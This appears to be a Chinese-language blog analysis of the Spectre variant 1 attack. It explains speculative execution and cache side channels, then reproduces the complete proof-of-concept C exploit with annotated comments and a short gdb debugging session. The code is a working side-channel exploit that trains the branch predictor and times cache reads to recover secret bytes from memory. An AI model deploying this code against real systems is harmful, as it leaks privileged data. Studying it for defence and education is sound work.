下面一句话转自360:
现代处理器(CPU)的运作机制中存在两个用于加速执行的特性,推测执行( Speculative Execution)和间接分支预测(Indirect Branch Prediction)。
表面上看,处理器是依次顺序执行既定的处理器指令。但是,现代处理器为了更好利用处理器资源,已经开始启用并行执行,这个技术已经应用了20年左右 (1995 年开始)。假设,基于猜测或概率的角度,在当前的指令或分支还未执行完成前就开始执行可能会被执行的指令或分支,会发生什么?如果猜对了,直接使用, CPU 执行加速了。如果猜测不正确,则取消操作并恢复到原来的现场(寄存器,内存等),结果会被忽略。整个过程并不会比没有猜测的时候慢,即 CPU的推测执行( Speculative Execution )技术。
不幸的是,尽管架构状态被回滚了,仍然有些副作用,比如TLB或缓存状态并没有被回滚。这些副作用随后可以被黑客通过旁道攻击 (Side Channel Attack) 的方式获取到缓存的内容。如果攻击者能触发推测执行去访问指定的敏感数据区域的话,就可能可以读取到更高特权级的敏感数据。
此漏洞是cpu架构问题(即cache不检查权限)。不是具体软件或者硬件漏洞,因而具有广泛的影响。
下面本文对幽灵代码进行分析。
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <stdint.h> 4 #ifdef _MSC_VER 5 #include <intrin.h> /* for rdtscp and clflush */ 6 #pragma optimize("gt", on) 7 #else 8 #include <x86intrin.h> /* for rdtscp and clflush */ 9 #endif 10 11 /******************************************************************** 12 Victim code. 13 ********************************************************************/ 14 unsigned int array1_size = 16; // 15 uint8_t unused1[64];//uint8_t不是int类型,是char类型:typedef unsigned char uint8_t; int8_t才是typedef signed char int8_t; //有符号8位数 16 uint8_t array1[160] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16}; //从该数值进行越界读 17 uint8_t unused2[64]; 18 uint8_t array2[256 * 512]; //通过读取该数组某个值来获取读取速度,从而判断某个内存页面是否加载,从而获取到数组的索引值,即array1的越界值。k=array1[x]。 19 20 char *secret = "The Magic Words are Squeamish Ossifrage."; 21 22 uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function()即防止指令被优化 */ 23 24 void victim_function(size_t x) 25 { 26 if (x < array1_size) 27 { 28 temp &= array2[array1[x] * 512]; //漏洞点:分支的判断。当array1_size没有从cache获取,同时几次训练都会读取array1[x],当传入恶意索引x时,也会读取,从而越界。 29 } 30 } 31 32 /******************************************************************** 33 Analysis code 34 ********************************************************************/ 35 #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */ 36 37 /* Report best guess in value[0] and runner-up in value[1] */ 38 void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) 39 { 40 static int results[256]; //对索引命中次数计算 41 int tries, i, j, k, mix_i, junk = 0; 42 size_t training_x, x; 43 register uint64_t time1, time2; 44 volatile uint8_t *addr; 45 46 for (i = 0; i < 256; i++) 47 results[i] = 0; //结果清0 48 for (tries = 999; tries > 0; tries--) /*反复读取恶意地址的值,获取最高和次高概率的索引。*/ 49 { 50 51 /* Flush array2[256*(0..255)] from cache */ 52 for (i = 0; i < 256; i++) 53 _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction 将所有array2所有页面清空*/ 54 55 /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) 5个训练:1次攻击 */ 56 training_x = tries % array1_size; //%16,training_x为正常访问 57 for (j = 29; j >= 0; j--) 58 { 59 _mm_clflush(&array1_size); 60 for (volatile int z = 0; z < 100; z++) 61 { 62 } /* Delay (can also mfence) */ 63 64 /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 ,每6次有一次为恶意访问*/ 65 /* Avoid jumps in case those tip off the branch predictor */ 66 x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */ 67 x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */ 68 x = training_x ^ (x & (malicious_x ^ training_x)); 69 70 /* Call the victim! */ 71 victim_function(x); 72 } 73 74 /* Time reads. Order is lightly mixed up to prevent stride prediction */ 75 for (i = 0; i < 256; i++) 76 { 77 mix_i = ((i * 167) + 13) & 255; 78 addr = &array2[mix_i * 512]; 79 time1 = __rdtscp(&junk); /* READ TIMER */ 80 junk = *addr; /* MEMORY ACCESS TO TIME */ 81 time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ 82 if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) 83 results[mix_i]++; /* cache hit - add +1 to score for this value 缓存中有该数组值对应的页面,则对应的数组索引分数+1*/ 84 } 85 86 /* Locate highest & second-highest results results tallies in j/k,获取最高和次高分数的索引*/ 87 j = k = -1; 88 for (i = 0; i < 256; i++) 89 { 90 if (j < 0 || results[i] >= results[j]) 91 { 92 k = j; 93 j = i; 94 } 95 else if (k < 0 || results[i] >= results[k]) 96 { 97 k = i; 98 } 99 } 100 if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) 101 break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */ 102 } 103 results[0] ^= junk; /* use junk so code above won’t get optimized out*/ 104 value[0] = (uint8_t)j; 105 score[0] = results[j]; 106 value[1] = (uint8_t)k; 107 score[1] = results[k]; 108 } 109 110 int main(int argc, const char **argv) 111 { 112 size_t malicious_x = (size_t)(secret - (char *)array1); /* default for malicious_x */
printf("secret_addr:%p,array1_addr:%p. ",(void *)secret,(void *)array1); 113 int i, score[2], len = 40; 114 uint8_t value[2]; 115 116 for (i = 0; i < sizeof(array2); i++) 117 array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */ 118 if (argc == 3) 119 { 120 sscanf(argv[1], "%p", (void **)(&malicious_x)); 121 malicious_x -= (size_t)array1; /* Convert input value into a pointer */ 122 sscanf(argv[2], "%d", &len); 123 } 124 125 printf("Reading %d bytes: ", len); 126 while (--len >= 0) 127 { 128 printf("Reading at malicious_x = %p... ", (void *)malicious_x); 129 readMemoryByte(malicious_x++, value, score); 130 printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));//判断标准 131 printf("0x%02X=’%c’ score=%d ", value[0],(value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]); 132 if (score[1] > 0) 133 printf("(second best: 0x%02X score=%d)", value[1], score[1]); 134 } 135 }
实际调试:
secret_addr:0x400d18,array1_addr:0x6020a0.
gdb-peda$ x/8s 0x400d18
0x400d18: "The Magic Words are Squeamish Ossifrage."
gdb-peda$ x/8xw 0x6020a0
0x6020a0 <array1>: 0x04030201 0x08070605 0x0c0b0a09 0x100f0e0d
gdb-peda$ p malicious_x
$2 = 0xffffffffffdfec78//显然是负数,所以后面打印的是相对地址,不是绝对地址。